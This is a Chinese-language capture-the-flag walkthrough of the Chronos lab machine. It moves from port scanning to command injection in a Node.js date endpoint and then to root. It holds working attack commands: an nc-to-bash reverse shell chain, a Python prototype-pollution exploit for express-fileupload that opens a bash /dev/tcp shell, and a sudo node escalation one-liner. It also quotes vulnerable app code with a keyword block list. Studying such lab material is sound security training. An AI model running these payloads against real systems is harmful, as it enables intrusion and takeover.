第三周

信息收集

这里使用一个新工具,原理都是相同的的,都是使用的arp协议。

netdiscover -r 192.168.18.4/24 -i eth1 #-r指定网段, -i指定网卡

image-20230321161314164

这里可以发现到这次需要攻击的靶机192.168.18.6

熟悉的套路,使用nmap两件套

nmap -p- 192.168.18.6
nmap -p22,80,8000 -sV 192.168.18.6

image-20230321161534265

这里可以发现80和8000端口都存在一个http服务,而且是由Node.js搭建的后端服务,那么这里直接使用浏览器访问。首先访问80端口,可以发现这么一张图片,跟做CTF题一样的思路,没有发现功能点可以进行目录扫描或者源代码查看。这里先查看一下源代码看看。

image-20230321161732357

image-20230321161856816

这里查看到一段js代码,复制下来再看看。

var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}

这里使用CyberChef 进行一下美化操作。

https://cyberchef.cn/

image-20230321162554880

搜搜bea,然后看到js这个双击。 输入需要美化的代码即可。

image-20230321162633163

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

这里发现存在一个url地址,这里chronos是这台靶机的名字,local是本地的意思,那么这里应该就是靶机上存在的一个url地址。但是呢chronos.local这个域名不是正式注册在互联网上的,DNS服务器不能解析它,我们需要手动去添加映射。这里编辑/etc/hosts文件。

image-20230321163014088

靶机ip   chronos.local

记得使用root权限去编辑保存。

打点

然后回到网页,需要刷新一下!!!

image-20230321163147431

发现这里存在了一个时间的显示。这里我们抓包查看是否是发送了什么请求。

image-20230321163413070

这里刷新一下网页抓包可以发现这么一个请求。其实就是这个页面通过js向http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL这个url发送了一个get请求。

image-20230321163519744

4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

这个请求返回了一个时间回来,这里我们可以看看format这个参数的内容是什么东西,这里的话也可以使用上面的CyberChef,它可以自动推断使用了什么编码。

image-20230321163852137

可以看到这里使用的是base58编码,编码内容就是一个'+Today is %A, %B %d, %Y %H:%M:%S.',其实就是一个时间的格式。看到这里也可以联想到后端是调用了什么程序或者是直接是linux命令给我们处理这么一个时间。这里其实就是调用了date命令,可以在linux终端上测试一下。

image-20230321164118068

这里看到跟上面返回的内容是一样的,那么这里证实我们的猜想是正确的,这里就是调用的date命令,那么又是CTF的RCE环节了。需要注意执行的命令首先还是需要base58编码一下。

image-20230321164312960

拼接执行一下ls

;ls
编码为
Lxfc

image-20230321164608447

这里可以看到ls命令被执行了。这里再看看是否存在nc命令,我们查看一下

/bin目录就可以看到支持的所有命令了。

image-20230321164712316

image-20230321164758903

这里可以看到存在bash,然后nc命令也是存在的

image-20230321164820173

这里我就不测试是否存在-e参数,直接说结果。就是不存在。所以还是可以使用到上周靶机的技巧,进行一个nc的串联。首先在kali上侦听两个端口。

image-20230321164946126

image-20230321165046738

;nc 192.168.18.4 3333 | /bin/bash | nc 192.168.18.4 4444

2cMHVseM3eYYnmLD3YGG3s4XoJcAv1R6j7saJZ6srG9VQsp97tBDPtaMKtcJLW987bLEWXdrWLRBh

image-20230321165139238

直接进行执行,然后这里响应了一个报错。没有关系,回到终端查看是否连接即可。

image-20230321165214594

可以看到两个端口都已经被连接了。

image-20230321165232266

这里可以看到是一个普通权限的用户,这里需要进行提权操作。

提权

linux提权三大件

  • sudo -l
  • 内核漏洞
  • suid文件

这里三个都进行尝试但是没有收获。

image-20230321165426973

这里可以看到内核版本并没有发现利用漏洞。

sudo没有执行权限。

image-20230321165504952

image-20230321165858575

suid文件也未查找到,那么这里就需要想其他方法了。我们可以翻一翻文件看看。查看当前目录可以看到这么几个文件,这里的话可以因为是Node.js的服务,可以看看package.json查看都使用了什么框架服务。然后看看app.js的源代码。

image-20230321170256183

// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();

const port = 8000;

const cors = require('cors');


app.use(cors());

app.get('/', (req,res) =>{

res.sendFile("/var/www/html/index.html");
});

app.get('/date', (req, res) => {

var agent = req.headers['user-agent'];
var cmd = 'date ';
const format = req.query.format;
const bytes = bs58.decode(format);
var decoded = bytes.toString();
var concat = cmd.concat(decoded);
if (agent === 'Chronos') {
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {

res.send("Something went wrong");
}
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
res.send(stdout);
});
}
else{

res.send("Permission Denied");
}
})

app.listen(port,() => {

console.log(`Server running at ${port}`);

})

这个就是我们运行的这个服务的代码了。查看package.json看到就使用了这么三个依赖。也没有可以利用的东西。不要灰心,继续翻一下。

image-20230321170506175

这里回到上级目录,然后发现还存在一个chronos-v2这么一个目录,而且它的属主是root用户,我们进去看看。

image-20230321170000198

image-20230321170107199

存在三个文件,这里的话就看看backend这个目录的内容

image-20230321170633304

这里可以看到这么四个文件,我们继续查看一下。可以看到这里普通用户是只有r查看权限的。

image-20230321170720556

内容就是这样的。可以发现这里的依赖是不一样的。我们再看看server.js这个文件

const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));

app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});

发现这里也启动了这么一个服务。而且这个服务只在本机上运行,8080端口。因为ip是127.0.0.1的缘故,所以只能通过这个靶机本身去访问,所以我们信息收集的时候是看不到这个服务的。

回到上面package.json这个文件的内容。

{
"name": "some-website",
"version": "1.0.0",
"description": "",
"main": "server.js",
"scripts": {
"start": "node server.js"
},
"author": "",
"license": "ISC",
"dependencies": {
"ejs": "^3.1.5",
"express": "^4.17.1",
"express-fileupload": "^1.1.7-alpha.3"
}
}

这里通过互联网搜索,可以发现express-fileupload这么一个组件是存在漏洞的。

参考链接:

https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/ (这篇文章需要翻墙)

https://blog.p6.is/Real-World-JS-1/(漏洞作者的博客)

漏洞作者在博客内说明了这个漏洞的情况并且给出了exp。这里是一个原型链污染漏洞

exp:

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/kali的ip/kali监听的端口 0>&1"'

# pollute
requests.post('http://靶机服务ip:靶机服务端口', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://靶机服务ip:靶机服务端口')

这里我们先在kali上编辑一下,然后再上传到靶机内

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/192.168.18.4/8888 0>&1"'

# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://127.0.0.1:8080')

然后启动一个python服务器。

image-20230321172017091

image-20230321172055981

靶机来到tmp目录底下。然后在这里执行一下wget命令。

image-20230321172130642

我们再回到kali终端。启动对8888的监听,因为我们在上面脚本设置的就是8888端口

image-20230321172237700

返回到靶机的shell中执行python3 exp.py,可以发现我们监听的8888端口已经收到了反弹的shell

image-20230321173453296

image-20230321173545210

这个用户的权限高一点,但是呢依旧不是root用户。

image-20230321173629039

这里我们来到家目录,可以查看到第一个flag,然后再次使用三件套提权测试。

这次我们使用sudo -l可以发现我们可以通过sudo以root身份使用node相关的命令

image-20230321173703427

这里查找node提权相关的操作。

sudo node -e 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})'

image-20230321173928639

执行上面命令可以发现我们现在已经是root身份了

来到家目录即可查看第二个flag

image-20230321174026387